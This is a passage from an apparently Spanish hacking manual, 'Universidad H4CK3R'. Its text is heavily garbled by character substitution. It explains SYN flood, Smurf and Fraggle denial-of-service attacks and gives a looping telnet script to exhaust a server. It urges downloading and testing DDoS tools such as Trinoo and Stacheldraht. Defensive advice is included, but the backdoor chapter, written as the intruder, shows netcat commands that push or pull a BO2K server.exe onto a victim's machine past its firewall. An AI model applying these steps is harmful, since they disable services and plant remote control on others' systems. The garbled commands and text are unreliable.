ya sea ocupando el ancho de banda, multiplicando incontroladamente procesos en el
servidor H66P, o con una avalancha de eFmail F posiblemente acompa)ados de virus
potenciadores del ata!ue, como RleN + 9ug%ear. 2l famoso y antiguo 2ing de la <uerte*
tipo de ata!ue !ue usaba la utilidad Ping para generar pa!uetes 3.;P defectuosos y
enormes, perteneca a los dos tipos= generaba una fragmentacin defectuosa de los
pa!uetes y a la ve# consuma ancho de banda.
:n eemplo de herramienta de (oS remoto del primer tipo es el veterano ,in"u/e. 2l
programa aprovechaba un fallo e5istente en OindoPs BI y OindoPs -6 9.I1= el caso del
puerto 19B 0nuestro vieo conocido del intercambio de archivos en redes ;icrosoft1 reciba
pa!uetes no vlidos en lugar del protocolo S;+, y el sistema operativo se caa. Hay
versiones actuales de ,in"u/e !ue e5plotan otras vulnerabilidades F una ve# !ue esta se
fi en OindoPs BA y -6? F y tambi$n trabaan con el agotamiento de recursos.
Para aprender ms sobre este tipo de herramientas, bus!ue por (oS o Cmalformed packet
dos attackD en su buscador. -umerosas herramientas para este y otros ata!ues se
pueden encontrar en packetstormsecurity.nlL(<SL y PPP.astalavista.bo5.sk.
.onsiderando el segundo tipo, el tipo ms com%n de ata!ue es el S5" Flood o inundacin
de pa!uetes 6.P S*-. 7Necuerda nuestro primer intento de spoofing8 2nvibamos un
S*- con una direccin 3P de origen diferente a la nuestra. 2n esa ocasin, no pudimos
establecer una cone5in suplantada por dos ra#ones=
1. .omo la m!uina atacada no conoca nuestra 3P real, no nos pudo contestar_
&. /a m!uina por la cual nos hacamos pasar devolva pa!uetes 6.P NS6 y termin con
nuestra cone5in F y nuestra alegra ...
2n el caso de un (oS por S5" Flood, 7!ue nos importa si tenemos o no respuesta8 /o
!ue cuenta es enviar la mayor cantidad posible de 6.P S*- falsificados, para !ue el
e!uipo de destino se encargue de responderlos y no tenga tiempo para responder a otras
254
ikimilikiliklik Universidad H4CK3R
solicitudes de otras personas. Necuerde= la vctima enviar un pa!uete S*-F".S y
esperara por un ".Ss !ue nunca llegar. 2sto finalmente har imposible a la victima
responder a cual!uier otra solicitud de cone5in o incluso atender las cone5iones
e5istentes.
<bviamente, hay otros m$todos de (oS, adems de S5" Flood. <tro m$todo muy
utili#ado hace uso de pa!uetes I1<2 -c3o 7equest 0pingG1 disparados tambi$n en masa.
Si la 3P estuviese suplantada, la m!uina obetivo no responder a la 3P de origen, pero si
a la 3P falsa. :na e5trapolacin de (oS utili#ando la 3.;P es el famoso S(urf 0Pitufo1=
(ispara I1<2 -c3o 7equest a un gran n%mero de m!uinas, pero coloca como direccin
3P de origen la 3P de la vctima 0no una falsa1. 2l resultado es un gran n%mero de
m!uinas refleando a la ve# una multitud de pa!uetes 3.;P a la vctima, !ue se cae casi
al instante.
<tra posibilidad es utili#ar un mensae :(P en lugar de 3.;P. Hay un servicio llamado
4echo4 !ue se eecuta en el puerto :(P @, !ue simplemente devuelve a la direccin de
origen todo lo !ue llega por ella. +ien, imagine entonces, enviar un pa!uete :(P
CspoofadoD cuyo origen es 3P 1&@.'.'.1 0es decir, un loopback F en otras palabras, la
propia m!uina1 y la 3P de destino es la 3P de la m!uina. 2n tal situacin, el pa!uete
:(P entra en un bucle dentro de la m!uina. :n pe!ue)o n%mero de estos pa!uetes es
suficiente para comprometer toda la pila 6.PL3P del sistema operativo y consumir grandes
porcentaes del ancho de banda de red disponible. 25trapolando del mismo modo !ue en
el ata!ue S(urf, se puede enviar al puerto :(P @ de numerosas m!uinas, pa!uetes con
3P de origen igual al de la vctima. 6odos ellos devolvern el regalo a la m!uina atacada F
comprometiendo de nuevo la banda. Si el hacker usara %roadcast* entonces, lo !ue era
una leve maldad se convierte en una calamidad. 2ste tipo de ata!ue se llama Fraggle.
255
ikimilikiliklik Universidad H4CK3R
"dems de estos m$todos !ue tumban la m!uina de la red, e5isten otros ms sutiles, e
incluso algunos inusuales. Por eemplo, 7te acuerdas de nuestros programas de fuer#a
bruta8 "lgunos sistemas, slo para evitar ser invadidos por fuer#a bruta, limitan el n%mero
de cone5iones permitidas 0el n%mero vara, pero el n%mero habitual es de tres1. +ueno
pues, entonces, un programa de fuer#a bruta puede ser usado para blo!uear
sistemticamente todas las cuentas del sistema, evitando !ue cual!uier usuario inicie la
sesin. 6res accesos en cada cuenta son suficientes, lo !ue hace la operacin muy rpida
y efica#.
6ambi$n se pueden multiplicar las cone5iones a un servicio especfico hasta !ue todos los
recursos del servidor en cuestin se consuman F sea en la forma de procesos abiertos, o
sea por agotamiento de banda. Por eemplo, si !ueremos tumbar un ordenador cuyo
servidor 8elnet est conectado, basta !ue eecutemos un script como este en nuestra
m!uina :ni5=
)$i!e Q>Z>R a
"o
te!net i'B"eB!#Bvfctim#B#Xi \
"onea
Se puede hacer lo mismo en OindoPs con un poco ms de trabao. .ambia 8elnet por el
l+n) y tienes una herramienta para causar el mismo da)o en los servidores H66P. Vuelve
a usar el comando 4mail4 y podrs llenar el servidor S;6P, etc. 6ambi$n es posible hacer
lo mismo con el ping, ;icrosoft -etPork, SSH, M6P 0servidores M6P -ovell -etPare son
especialmente apetecibles1, :senet, Minger, ;S SE/, ;S "ccess, 3.E > .reo !ue ya
habeis 4cogido4 la idea.
Pese a !ue los ata!ues descritos anteriormente se puede hacer de forma manual por los
hackers de verdad, hay algunas herramientas !ue facilitan y automati#an este tipo de
ata!ue F los 4lammers4 las adoran. 2stas herramientas se pueden encontrar a montones
en los mismos lugares mencionados anteriormente= packetstormsecurity.nlL(<SL y
PPP.astalavista.bo5.sk. 2n la direccin PPP.astalavista.comLbibliotecaLddoslbasics
Lintro.shtml hay un tutorial interesante 0en 3ngl$s1 sobre los diversos tipos de pe!ue)os
ata!ues (oS, locales y remotos !ue se pueden probar. 2studie todos ellos, buscando en
internet eemplos e informacin adicional acerca de cada uno.
Pero hay algo mucho peor !ue (oS simple= los ata!ues por denegacin de servicio
remoto distribuido, o //oS.
>enegacin de Servicio 7e(oto >istri%uido
/os ata!ues S(urf + Fraggle ya son formas efectivas de amplificar ata!ues originados en
un solo punto, por esa ra#n se les llama 4lupa4. Sin embargo, incluso si se utili#a esta
lupa, el ancho de banda disponible para el atacante es limitado, y el no puede mantener
un ata!ue con muchos pa!uetes para cada m!uina amplificadora y mantener, al mismo
tiempo, muchas ma!uinas amplificadoras enviando esos mismos pa!uetes a la victima.
Para resolver el desfile, se desarroll un cierto tipo de ata!ue en el !ue los pa!uetes
destinados a las vctimas no salen de la m!uina del hacker, sino de ordenadores #ombis
controlados remotamente por $l. 2n estos e!uipos, el hacker instalar cierto tipo de caballo
256
ikimilikiliklik Universidad H4CK3R
de 6roya o virus !ue responde a comandos e5ternos y act%a como una fuente generadora
del ata!ue, son los llamados agentes o #ombis. 2l 4contagio4 se da por los mismos
m$todos !ue han sido estudiados hasta ahora F invasin, distribucin camuflada e incluso
la cooperacin. 2l atacante tiene uno o ms programas maestros, !ue controlan a los
agentes.
7Se acuerda cuando diimos !ue una invasin de los sistemas menores poda ser
utili#ado como trampoln para llegar a la victima principal8 Pues bien, esta es una de esas
situaciones. 2l atacante tarda semanas, y a veces meses, para invadir pe!ue)os sistemas
F ordenadores personales y servidores de pe!ue)as empresas F sin !ue su inter$s
inmediato sean estas m!uinas. 2llas sern utili#adas como #ombis en un ata!ue contra
las grandes empresas 01&9? 1&9? 1&9? ...1, y para eso es necesario !ue est$ instalado en
ellos el softPare adecuado. 2l hacker puede, incluso, corregir algunas cosas y hasta
actuali#ar el sistema del individuo, si eso fuese necesario para !ue el ata!ue principal se
lleve a cabo.
257
ikimilikiliklik Universidad H4CK3R
3magnese ahora !ue el hacker es ms e5perimentado. :n ata!ue ((oS se puede refinar
con la distribucin de varios maestros, tambi$n controlados de forma remota por el
atacante. \l puede utili#ar,tanto, herramientas especiales !ue ya e5isten para ello, como
tambi$n, utili#ar elementos del sistema operativo como -etcat o 6elnet.
258
ikimilikiliklik Universidad H4CK3R
"hora, un to!ue ms de maldad= cada agente puede usar 4lupas4 Fraggle o S(urf para
multiplicar su fuer#a. :n ata!ue con esta configuracin es devastadorG
259
ikimilikiliklik Universidad H4CK3R
= *mos - escla1os
Hay un montn de herramientas para todos los ata!ues Jo; - JJo; descritos a!u. /a
mayora se pueden encontrar en dos sitios mencionados anteriormente=
pac"etstormsecurity.nl/dos/ y www.astala#ista.box.s". <tro apartado,
pac"etstormsecurity.nl/distribuci$n/, trata de herramientas ((oS y tutoriales.
+us!ue informacin en los sitios Peb listados y en su buscador favorito, y descargue las
siguientes herramientas=
F Mapi
F 6arga
F +lit#net
F 6rin''LOin6rin''
F 6M-L6M-&kL6M-Oin
F Stacheldraht
F Shaft
F 6rank
F 6rinity
.omo deberes, el estimado lector tendr !ue leer la documentacin y probarlos todos,
uno por uno, y descubrir en !ue categoras 0a veces ms de una1 encaa cada uno de
ellos.
<tra tarea= buscar informacin sobre ata!ues a routers. Se sorprender de saber !ue a
veces es ms fcil atacar a los e!uipos intermedios de 3nternet !ue al e!uipo obetivo
final. Si es muy difcil de apagar el servidor de una empresa enemiga del medio ambiente,
tal ve# el router unido a ella sea la parte ms d$bil F y rompi$ndolo, dea a la red interna
sin acceso a la Tran Ned.
Jefensa - contraata+ue
+ueno, all vamos. 2ste fue un captulo largo. 6ratamos de poner en $l los conceptos
bsicos de ata!ues a ordenadores y redes. /istamos a!u, por tanto, algunos conseos
sobre !u$ buscar y por dnde empe#ar para asegurar sus sistemas y evitar !ue sean
atacados con estas t$cnicas.
7eco(endaciones aplica%les a todo tipo de ataques
/o ms importanteG >eje activados slo los servicios que estD utiliNando real(ente. Si el
servidor es slo H66P y M6P, deshabilite Minger, 6elnet, SSH, S;6P, P<P, 3;"P, Euake
>
1onfigura tu fire$all correcta(ente, y ten siempre ms de un tipo, al menos uno diferente
para cada lado de la (;,. Prefiere los filtros de pa!uetes por estado de cone5in
0Stateful Packet Milters1 y firePalls de tipo pro5y. 3ncluso con los servicios deshabilitados
en los servidores, cierra los puertos correspondientes en el firePall para impedir el trfico
fantasma 0por eemplo, backdoors1 y el ;1R Scanning. -o seas pere#oso= Ha# una tabla
de reglas de filtrado muy larga y amplia, preferentemente asociando direcciones y
puertos, y no slo blo!ueando.
260
ikimilikiliklik Universidad H4CK3R
<antMn tus siste(as actualiNados para evitar ser invadido por vulnerabilidades conocidas
y bien documentadas. 2special atencin a los 3otfi)es y los Service 2ac/ de <icrosoft F lo
!ue no !uiere decir !ue los sistemas -ovell y :ni5 necesiten menos cuidados.
Por defecto, crea usuarios con los (ni(os privilegios posi%les y vaya aumentndolos a
medida !ue sea necesario. Si el usuario no necesita ms el privilegio, no dude en
retirarse3o. .ree polticas rigurosas y cuentas consistentes, incluyendo nombres de
usuario no evidentes, administracin en tiempo real de las cuentas activas, desactivacin
inmediata 0o antes, cancelacin1 de las cuentas inactivas, contrase)as !ue contengan
letras, n%meros y smbolos y reglas para cambiar las contrase)as en menos de 9' das.
"dems, un documento oficial interno, firmado por el empleado, debe regular claramente
!ue e!uipos pueden conectarse a la red y establecer sanciones si la red es invadida o
comprometida por el mal uso o descuido del usuario.
= War Jialing - "uer>a &ruta
2n primer lugar, trate de atacarse a s (is(o con las 3erra(ientas de fuerNa %ruta. Si
usted no debera tener mdems ni accesos personales de alta velocidad conectados a su
red, esta es una buena manera de averiguarlo. " la menor se)al de mdem de acceso
telefnico, cable mdem o "(S/ no autori#ado en su sistema, retrelos de inmediatoG
Para los sistemas accesibles por 3nternet o mediante una cone5in de terminal, la
recomendacin es no dar acceso a todas las cuentas por defecto. * cuidado con las
cuentas por defecto del sistemaG -ecesariamente, los accesos deben hacerse por VP-s
encriptadas. 2n caso de su empresa o institucin realmente necesitaras mdems y logins
e5ternos va 3nternet o SSH, la poltica de contrase)as y de acceso de la empresa, debe
ser seguida a raatabla, y las sanciones aplicadas de manera eemplar.
>es%orda(iento de pila
-o hay mucho !ue decir ms all de lo obvio= si usted es un programador, su obligacin
es escribir cdigo inmune a desbordamiento de b%fer. "un!ue es inherente a los
lenguaes de programacin, es posible implementar rutinas de verificacin !ue restrinan
la inyeccin de datos maliciosos.
Si usted es un administrador de sistema o usuario dom$stico, mantenga su sistema
actuali#ado con los %ltimos 4parches4 publicados por los fabricantes de softPare. * no se
concentre solo en los servidores= las estaciones tambi$n son vulnerables y puertas de
acceso a su red.
= Ro&o de contraseLas
Para empe#ar, usa 3erra(ientas para descifrar contrase4as contra ti (is(o. 6ermina de
hacerlo slo cuando est$s satisfecho con el resultado F !ue debera ser, por si acaso,
cero= ninguna contrase)a al descubierto. Neali#a esta prueba peridicamente, por lo
menos el doble de la frecuencia con la !ue las contrase)as deben cambiarse. Si la
poltica de la empresa e5ige a los usuarios cambiar las contrase)as cada 9' das, intenta
romper las contrase)as de sistema por lo menos cada 1I das.
2l m$todo ms efica# para detener la fuer#a bruta es limitando el n%mero de inicios de
sesin y blo!ueando temporalmente 0no definitivo1 las cuentas del sistema. 2sto crea un
261
ikimilikiliklik Universidad H4CK3R
problema de (oS, pero a%n as es meor !ue tener sus datos comprometidos.
2vite el robo de contrase)as a toda costa, y dificulte al ma5imo la vida al cracker !ue
podra lograrlo. Vale deshabilitar los '< 3as3es en OindoPs -6L&S, crear un servidor de
acceso centrali#ado, con encriptacin y seguridad 0por eemplo, Serberos1, usar S3ado$
2ass$ords en :ni5 0tambi$n con acceso centrali#ado a trav$s de /("P U Serberos1, e
incluso cifrar los sistemas de archivos .
/as estrictas polticas de contrase)as descritas anteriormente tambi$n se aplican a!u.
"dems de campa)as de concienciacin a los usuarios de los males de las contrase)as
d$biles y los comportamientos de riesgo F /as contrase)as no deben escribirse en
cual!uier lugar, y mucho menos ser publicitadas. -:-."G
Por %ltimo, la instalacin de softPare !ue recha#a contrase)as d$biles cuando se registra
el usuario 0y el posterior cambio peridico de contrase)as F su empresa ha instituido esto,
7no81 es un punto clave para evitar !ue los usuarios pongan en peligro a toda la red por
colocar el nombre de su perrito como una contrase)a.
,ar >riving
2ncriptar su red y activar el O2P. Punto y final.
In+ecciones SQ' + -nvenena(iento de 1oo/ies
.ree dispositivos de verificacin en todos 0repito= todos1 los campos de todos 0de nuevo
repito= todos1 los formularios de su sitio Oeb. +lo!uee caracteres sumariamente
peligrosos como b, YeY, h,] y c. :na buena poltica es liberar slo letras y n%meros y todo
lo dems blo!uearlo.
:tili#ar siempre el m$todo P<S6 para enviarlos al script procesador, puesto !ue el
m$todo T26 dea informacin importante en la :N/. Si es posible, encripte los campos
antes de enviar3os. ;eor a%n, use cone5iones H66PSLSS/ con certificados emitidos por
empresas legtimas y una encriptacin fuerte.
2n el caso de las cookies, haga un control de sesin coherente, con 3(s de sesin
preferentemente encriptados y, si es posible, dinmicos X cambian cada ve# !ue se visita
una pagina. -o debe confiar en el cifrado SS/= encripte todo varias veces "-62S de
enviarlo por H66PS 0!ue tambi$n esta encriptada1.
Sniffing* Spoofing + el secuestro #.ijac/ing&
2n primer lugar, ponga filtros antiFspoof y detectores de sniffers en todos los puntos de
entrada, salida y paso 0routers entre subredes1 de su red. los 3(S son bienvenidos y
grandes compa)eros de esas herramientas.
"un!ue no sea un freno para la accin de los hackers, es un elemento !ue complica=
instalar bridges y sPitches en lugar de hubs y segmentar la red al m5imo. "dems de las
ventaas de rendimiento, eso crea una capa adicional de dificultad para el atacante. Si es
posible, divida su red en subredes y estable#ca routers con filtrado de pa!uetes muy bien
estructurados para interconectarlas. (ependiendo del n%mero de personas, tiempo,
presupuesto y el tama)o de la red, puede configurar estticamente las tablas ;". de los
sPitches y bridges en cada uno de sus puertos. .on esto, el e!uipo es inmune al ;72
Spoofing y al <;1 Flooding 0pero no al atasco de la red o incluso, una denegacin de
servicio posiblemente, provocada por ellos1. Pero preprate= es una tarea titnica ...
262
ikimilikiliklik Universidad H4CK3R
<tro m$todo para hacer ms difcil 0y muchoG1 la accin de estas herramientas es el
encriptado sistemtico de toda la red. 6oda ella. :tilice todo lo !ue este a mano, cada
cosa para su funcin especfica= PTPLTPT, 3PSec, H66PS, SSH 0siempre usar la versin
& de SSHG1. He visto proyectos de VP- con varios niveles de tunneling, todos codificados.
6enga en cuenta el hecho de !ue cada nivel de cifrado, tiene un fenomenal impacto
negativo en el desempe)o total de la red, use el sentido com%n para e!uilibrar entre
rendimiento y seguridad ..
3mplemente (;, no slo entre la red corporativa e 3nternet 0esto es miopa1, sino tambi$n
varios niveles de (;,, e incluso (;, entre departamentosG
.ompruebe la previsibilidad de los n%meros de secuencia 6.P de sus ordenadores.
;a!uinas con OindoPs B5 hacen eso como un uego de ni)os, ma!uinas Mree+S( y
Solaris, por el contrario, son famosas por ser prcticamente aleatorias en ese aspecto.
Si se est utili#ando :ni5, olvdese de Pni) 8rusts. "dems de el, otro es!uema de
confian#a muy malo es lo !ue ;icrosoft denomina 2>1Q2>1 8rusted 7elations en
OindoPs -6. 2vitalos por completo. Prefiera sistemas modernos, tales como "ovell
e>irector+ o las numerosas implementaciones de /("P, incluyendo el "<S de ;icrosoft.
Pero use siempre un sistema de cifrado. Si no hay uno, es ms seguro dear !ue el
usuario se conecte de forma individual en cada uno de los sistemas de la empresa, !ue
tener un sistema de autenticacin centrali#ado cuyo es!uema de confian#a es deficiente.
= Jenegaci/n de ser1icio
/os 3(S ayudan a detectar ata!ues (oS locales F a menos !ue el ata!ue destruya su
propio 3(S, !ue es muy posible e incluso probable.
6ambi$n es %til la defensa contra el I2 Spoofing* ;72 Spoofing + <;1 Flooding. 6ablas
;". estticas en sPitches dem.
Sistemas con la %ltima actuali#acin publicada por el fabricante, estn menos e5puestos a
ata!ues (oS basados en vulnerabilidades conocidas. "lgunos sistemas tienen parches
!ue los hacen incluso inmunes a los ata!ues del tipo S5" Flood + S(urf.
Si es posible, contrata ms velocidad de cone5in y ten siempre rutas alternativas 0y
secretasG1 por si la cone5in principal se inunda. 2s tambi$n deseable, la adecuacin de
trfico 06raffic Shape1.
Para ((oS, una sola recomendacin, adems de las anteriores= mantener a los #ombis
fuera de sus m!uinasG Neali#ar una auditora peridica de todas las computadoras en
busca de puertos sospechosos o programas no autori#ados.
:n %ltimo conseo= C2cholotD 0www.echolot.sourceforge.net1.
263
ikimilikiliklik Universidad H4CK3R
"ta!ue, defensa y
contraata!ue
Hantenimiento
.apitulo F 1?
4-oP 3Ym coming through the backdoor
HoP did 3 get here8L(o 3 mind
3n an eerie sort of PayL3 sense you reaching
Oill you linger a little longerLOhile 3 Ponder
6adpole, 4+ackdoor4
"hora vengo por la puerta traseraL7.mo llegue a!u8L;e da igualL(e
una forma misteriosaL6e siento conmigoL7Vas ha !uedarte algo
ms8L;ientras me maravillo X 6adpole, C+ackdoorD. 1BBB.
264
ikimilikiliklik Universidad H4CK3R
"cceder a cual!uier sistema F ya sea un sitio Peb, una red, un ;acintosh o un servidor
-ovell F no es fcil. 2n todos los captulos preparatorios y, sobre todo en el anterior, vimos
algunos m$todos para preparar el terreno y tener acceso a nuestros obetivos. -o todos,
no muchos, ni si!uiera los ms importantes= para ilustrar los pasos a seguir, vimos
%nicamente algunos eemplos.
-o tomes este libro como una enciclopedia de ata!ues. 2n ve# de eso, %salo como una
cartilla para aprender el "+., y ve buscando y estudiando los recursos !ue aparecen en
cada captulo. /as lecturas adicionales son muy importantes. /a serie .ac/ing -)posed
0;c.lure, Scambray y Surt#, editorial ;akron, ? j edicin en portugu$s y en 3ngl$s1,
compuesta por cuatro libros F .ac/ers -)posed* .- ,indo$s B/ edicin* .- 'inu)
edicin + .- $e% F es una e5celente compa)era para nuestro pe!ue)o trabao y enfoca el
tema de manera diferente. "un!ue tratamos de mostrar la mecnica del asunto, la serie
H2 ofrece un verdadero 4diccionario4 de ata!ues. Pero no descuides el 9ugtrac/ 0las
listas de errores1G
:na ve# dentro de los intestinos de nuestra presa, es el momento de tener cuidado para
mantener el acceso y, posiblemente, blo!uear el acceso a otros atacantes potenciales
!ue, por descuido, podran echar por tierra tus meses de estudio y esfuer#o. .uidemos,
entonces, el mantenimiento de nuestra estancia en el cora#n de la vctima por muchos
a)os.
Puerta trasera
.ada casa tiene una puerta trasera 0vale, vale, algunos apartamentos ms populares
laprietamientos8m tienen slo un paso para el acceso al inmueble F. y pasa por la sala de
estar. Eue le vamos a hacer ...1. Por la puerta trasera traemos la fiesta, los empleados de
la casa tienen acceso al interior para trabaar, los trabaadores traen herramientas y
materiales para renovar el cuarto de ba)o y sacamos al perro a pasear. 2s por tanto,
apropiadamente llamada la puerta de servicio.
Por otro lado, por la puerta principal recibimos a nuestras visitas. Si fuese un inmueble
comercial, por ella tambi$n recibimos a nuestros clientes. /a decoracin, los obetos y el
propio espacio, el entorno y la atencin son diferentes en las dos puertas. Por lo tanto, es
apropiado decir !ue ambas puertas tienen diferentes funciones, y por lo tanto se prestan a
diversas actividades.
2n un sistema informtico, a menudo es necesario tener tambi$n varias formas de
acceso. 2l entorno operativo !ue los usuarios comunes conocen se ha desarrollado para
utili#ar el sistema de forma ms fcil y sencilla. Por otro lado, debe haber formas de !ue
los administradores accedan al sistema tambi$n y, as, reali#ar sus tareas, a menudo
simultneamente, sin molestar al usuario.
Hay varias formas de hacer esto. 2n los sistemas :ni5, el administrador simplemente
puede iniciar sesin como usuario CrootD de forma remota 0a trav$s de SSH v&, nunca va
6elnetG1 y hacer lo !ue haga falta. 2n los sistemas OindoPs y ;acintosh, esta es la
funcin por defecto, se pueden instalar programas !ue permiten el mismo control. 2ntre
ellos podemos mencionar 1ar%on1op+* 'ap'in/* 1ontrolI8* o el S<S de <icrosoft y
!ui#s el ms conocido de todos= pc;n+$3ere de S+(antec. .on estos programas, los
265
ikimilikiliklik Universidad H4CK3R
administradores entran a trav$s de 4puertas traseras4 en los sistemas de los usuarios y
hacen !u$ tengan !ue hacer.
Hay otro uso para las puertas traseras en los ordenadores personales y e!uipos de
sobremesa empresariales= el softPare espa. Hay varios programas de softPare 0tales
como I Sp+ + ,inRe+logger1 desarrollados para !ue cnyuges celosos, padres e5tremos y
los empresarios paranoicos, puedan controlar lo !ue sus medias naranas, hios o
empleados estn haciendo. "lendose del debate de las normas urdicas, morales y
$ticas, podemos decir !ue estos programas tambi$n abren las puertas traseras en los
sistemas en los !ue se instalan.
2l ahorro de tiempo, dinero y recursos generados por esta tecnologa es enorme. +ueno,
no. :na ve# ms, no tanto. 7* si hackers maliciosos 0recuerde= hacker no es sinnimo de
bandido, por eso el calificativo es apropiado ...1 consiguieran acceder a sus sistemas por
estas puertas traseras8 +ien, ah tenemos un problema.
= Puertas traseras maliciosas
:na solucin radical al problema anterior es no utili#ar estos programas de ninguna
manera. :na solucin ms ra#onable F pero, cr$anme, muy vulnerable F es aplicar los
parches de seguridad recomendados por el fabricante, utili#ar contrase)as seguras,
cifrado, etc, ... 06e estas !uedando calvo de aprender ...1.
Sin embargo, incluso en sistemas en los !ue el administrador no ha instalado este tipo de
programas, la amena#a e5iste. "l llegar al final del captulo anterior estbamos dentro del
sistema de la vctima, 7verdad8 +ueno, lo primero !ue debemos hacer es instalar una o
ms backdoors para poder entrar de nuevo en el futuro, por!ue seguramente el due)o del
sistema tapara el aguero por donde pasamos. "dems, podemos corregir todas las
vulnerabilidades de las m!uinas !ue invadimos, evitando !ue Siddies descuidados se
delaten y nos !uiten los austes.
*a hemos hablado mucho acerca de puertas traseras en los captulos sobre
vulnerabilidades de OindoPs. 2n Vulnerabilidades 3, incluso, mostramos paso a paso
cmo configurar un 9ac/ Trifice BLLL #o 9LBR& para controlar m!uinas aenas. (e estos
pa!uetes preparados, no hay mucho ms !ue decir= son pie#as compleas por sus
muchas caractersticas, pero al mismo tiempo son una gran coleccin de rutinas simples.
:n programador con conocimientos, de pocos a moderados, de un lenguae moderno,
como Zava, Visual +asic, . t, . U U o <bective Pascal 0utili#ada en (elphiLSyli51 podra
escribir en unos pocos das backdoors tanto o ms completos y compleos !ue +'&S.
"et9us* Su%I* ;lien8o+ ... /a lista es enorme. 3ncluso los programas de gestin, serios
0en principio= la aplicacin 9LBR fue desarrollada como una aplicacin seria1 como
pc;n+$3ere o U"1 pueden ser utili#ados para 4el mal4.
= Una 1e> mFs. KA5t tu, 2rutoCK
"dems de las herramientas especficas ya ampliamente debatidas en el libro, el sistema
operativo en s mismo es generoso en recursos !ue pueden ser utili#ados a favor del
intruso F y en contra del due)o de la m!uina. 2stoy cansado de ver, como en los
servidores de 6elnet y M6P se pueden utili#ar cuentas nuevas, especialmente creadas por
266
ikimilikiliklik Universidad H4CK3R
el hacker en el sistema, para la posterior invasin 0por la puerta principal, eee ...1. .ada
sistema tiene su idiosincrasia y su conunto de programas, !ue se pueden utili#ar para
hacer una puerta trasera. "dems de no tener !ue instalar nada, los programas e5istentes
en el e!uipo rara ve# levantan sospechas.
Pero hay una pe!ue)a utilidad, presente en todos los :ni5 y disponible para la familia
Oin-6, !ue es especialmente interesante para crear backdoors improvisados. /lamado
"etcat 0PPP.atstake.comLresearchLtoolsLnetPork.utilities1, permite muchos trucos en
redes privadas e 3nternet F y tambi$n se puede utili#ar como una puerta traseraG
" pesar de tener versiones para OindoPs, el nombre "etcat proviene de su primo CcatD, el
comando :ni5 para mostrar el contenido de un archivo en el terminal.
<bserve=
6 c#t Ltti&
Hey Le#visO I[m # (ni& strin.555
6
2l comando CcatD arro el contenido del archivo C+utti5 en pantalla del terminal. (el
mismo modo, el comando 4nc4 puede reproducir, de un lado a otro de la cone5in 0es
decir, no necesariamente en la pantalla1, lo !ue un determinado puerto en un e!uipo
remoto est escupiendo en la red.
/a sinta5is ms simple sinta5is es 4nc ipFdelFcomputadorFmonitoreado U puerto4.
Por eemplo, el comando
CE\J NC >89B>=@B>B>> @A
cuando se emite en un e!uipo OindoPs, se conecta y monitorea todo lo !ue sale por la
puerta A' de la m!uina cuya direccin 3P es 1B&.1JA.1.11. <bviamente, la puerta A'
debe estar abierta, de lo contrario el "etcat es abortado. /a sinta5is es similar en una
m!uina :ni5. (e hecho, act%a como un cliente bidireccional F, recibe y enva datos. 2n
este mismo eemplo, al emitir el comando, no pasa nada F el otro lado est a la espera de
una orden. Sabemos !ue se trata de un servidor Oeb, as !ue basta enviar el comando
T26 0s, debe ser todo en may%sculas1. (espu$s del comando, se mostrar en la pantalla
el cdigo fuente H6;/ de la pgina principal del servidor H66P. Se puede utili#ar "etcat
para conectarse a vol%menes S;+ 0puerto 19B1, M6P, 6elnet, S;6P ... Slo tienes !ue
saber el protocolo y emitir los comandos correctos. Para conectarse a los puertos :(P,
utilice la opcin CFuD.
"etcat funciona de dos formas. 2l modo cliente es lo !ue hemos visto F enva cual!uier
cosa !ue pongas en su entrada para el 3PLpuerto especificado. Si hay respuestas, las
muestra en la pantalla. Por entrada, entendemos tanto la entrada estndar 0teclado1 como
cual!uier otro programa !ue estuviera acoplado a la entrada 0podemos usar las tuberas F
funciona en OindoPs y :ni51.
Hay otro modo, llamado modo de servidor. 2ste es el !ue nos interesa. 2l modo servidor,
en lugar de enviar comandos, espera para recibirlos y devolver el resultado pedido a la
salida estndar. Vea el siguiente comando=
CE\J NC +> +' @A
267
ikimilikiliklik Universidad H4CK3R
2n este caso, "etcat est actuando como un servidor. /a opcin CF1D indica eso. /a opcin
CFpD indica el puerto !ue se utili#ar. Haga una cosa= en nuestra red de prueba, ponga el
comando anterior para eecutarlo en la m!uina OindoPs. 2n la m!uina :ni5, utilice el
comando anterior 0nc 1B&.1JA.1.1 A'1. Pruebe a escribir en m!uina :ni5 y vea lo !ue
ocurre en OindoPs= los caracteres de su entrada estndar 0en este caso, el teclado1 se
transfieren a la salida estndar 0pantalla1 del otro e!uipo. +ien, 7no8 Sin embargo, vamos
a salpimentar un poco las cosas.
3magina !ue !uieres transferir un archivo desde tu ordenador a la m!uina invadida 0un
+'&S, por eemplo1. -ada ms simple. 2l nombre del archivo es server.e)e y la direccin
3P del e!uipo de destino es 1B&.1JA.1.1. 2n el ordenador de la vctima, utilice el comando,
nc +> +' 8888 J serverBe&e
2n el del hacker,
nc >89B>=@B>B> 8888 _ serverBe&e
<bserva los redireccionamientos. 2n el ordenador de la vctima, el carcter 4e4 indica el
redireccionamiento a el archivo server.e)e. 6odos los datos recibidos sern copiados all.
2n el ordenador del atacante, el carcter 4`4 indica !ue todos los bytes del archivo
server.e)e sern enviados a la entrada de "etcat. .uando el %ltimo bit se transmita, la
cone5in se cae automticamente. 3ncluso sin tener acceso a M6P o a un recurso
compartido de OindoPs, es posible enviar un archivo al sistema de la vctima. (e hecho,
incluso con acceso ilimitado a un shell del sistema, el atacante no tiene acceso fsico a
dis!uetes o .( 0el sistema invadido puede estar al otro lado del mundo1. Si no hubiese un
modo de enviar archivos a trav$s de una red como M6P, los Ccomandos rD en :ni5 y los
recursos compartidos de OindoPs, el atacante debera tener un pe!ue)o programa en la
manga para poder transferirlos. /a opcin ms directa es el !uerido "etcat.
3nvirtiendo los redireccionamientos, es posible dear la m!uina del atacante como un
servidor dispuesto a 4empuar4 el archivo, y conectarse a $l con la m!uina de la vctima,
!ue har la descarga. 7/a ventaa8 +ueno, la mayora de las configuraciones de firePall
detendran un archivo transfiri$ndose si el origen de la cone5in viene de fuera 0es decir,
de la m!uina del hacker1. 3nvirtiendo los papeles, es la m!uina de la vctima la !ue
solicita el archivo F y el firePall alegremente deara !ue pase.
2n la ma!uina del hacker= nc +> +' 8888 J serverBe&e
2n la ma!uina de la victima= nc >89B>=@B>B> 8888 _ serverBe&e
/a m!uina est esperando cone5iones del hacker. .uando ocurre una, ella enva el
archivo especificado. /a cone5in fue hecha desde la m!uina de la vctima. 2lla origin
la cone5in y comien#a a recibir datos, !ue se graban en server.e)e.
Pero adems de instalar backdoors, virus y troyanos en el sistema invadido, "etcat puede
ser, $l mismo, un backdoorG /a opcin CFeD redirecciona todo lo !ue se recibe hacia un
